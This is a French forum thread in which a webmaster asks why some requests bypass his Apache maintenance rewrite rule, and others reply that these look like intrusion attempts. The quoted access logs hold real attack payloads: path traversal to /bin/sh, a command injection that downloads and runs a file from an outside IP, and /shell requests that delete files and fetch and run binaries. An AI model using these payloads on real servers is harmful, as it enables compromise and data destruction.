</ul></div></div>Réécriture pour maintenance qui ne capture pas tout, message #2409342022-02-14T15:37:10+01:00viki53/@viki53https://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240934<p>Tu as des plugins Apache activés ? C’est peut-être l’un d’eux qui intercepte les requêtes en fonction d’un format déterminé</p>Réécriture pour maintenance qui ne capture pas tout, message #2409332022-02-14T15:34:56+01:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240933<p>Alors effectivement, à part la troisième ligne fournie (je comprends d’ailleurs encore moins pourquoi celle-ci n’est pas redirigée, surtout que d’autres pour lesquelles je vois la même chose dans les logs sont redirigées, elles), ce sont toutes des tentatives suspectes. J’aurais envie de dire que c’est tant mieux qu’elles aient reçu un statut 4##, mais le fait que ces requêtes aboutissent ailleurs que là où je m’attendais me fait penser qu’il pourrait y en avoir qui, hélas, ne recevraient pas un statut d’erreur… et je le verrais trop tard.</p>
<p>Qui plus est, là c’est avec une "redirection finale", mais je doute que d’avoir mis <code>[END]</code> change beaucoup de choses sur la capture de la requête, donc cela veut dire que même quand le site n’est pas en mainenance, le risque selon moi existe aussi.</p>Réécriture pour maintenance qui ne capture pas tout, message #2409312022-02-14T14:24:09+01:00viki53/@viki53https://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240931<p>On dirait des tentatives d’attaque/intrusion ce genre de requêtes, donc c’est probablement pas bien grave de pas les traiter.</p>
<p>Ça vaut d’ailleurs probablement mieux si tu veux éviter d’exposer ton serveur : si Apache les intercepte c’est pas forcément plus mal, ton PHP ne risque ainsi pas d’exécuter du code arbitraire (vu les paramètres des requêtes).</p>Réécriture pour maintenance qui ne capture pas tout, message #2409302022-02-14T14:19:26+01:00Ymox/@Ymoxhttps://zestedesavoir.com/forums/sujet/16060/reecriture-pour-maintenance-qui-ne-capture-pas-tout/?page=1#p240930<p>Bonjour tout le monde !</p>
<p>J’ai l’habitude de mettre une redirection simple <code>RewriteRule .* maintenance.php [END]</code> en place quand je fais de la maintenance sur un site. Depuis quelque temps, je regarde les logs d’accès créés pendant la période de maintenance, et quelque chose me surprend : je vois passer des requêtes qui ne semblent pas être redirigées, dans la mesure où les réponses n’ont pas le bon statut. En voici quelques unes.</p>
<div class="hljs-code-div hljs-code-log"><div class="hljs-line-numbers"><span data-count="1"></span><span data-count="2"></span><span data-count="3"></span><span data-count="4"></span><span data-count="5"></span></div><pre><code class="hljs language-log">POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0
GET / HTTP/1.1
GET /shell?cd+/tmp;rm+-rf+*;wget+ (un nom de domaine sans schéma)/jaws;sh+/tmp/jaws
GET /shell?cd+/tmp;rm+-rf+*;wget+ http://(une adress IPv4)/.s4y/arm;sh+/tmp/arm
</code></pre></div>
<p>Je n’ai pas de dossier <code>/cgi-bin</code> ni de fichier <code>shell</code>. Est-ce que le serveur (Apache) possède des alias qu sont automatiquement mis en place ?</p>
<p>Toutes ces requêtes ont reçu une 400 ou une 404, mais justement, je pensais tout rediriger vers la page de maintenance qui retourne une 503…</p>
<p>Est-ce qu’il manque des flags dans ma redirection pour que ces requêtes soient elles aussi redirigées ?</p>
<p>Merci d’avance</p>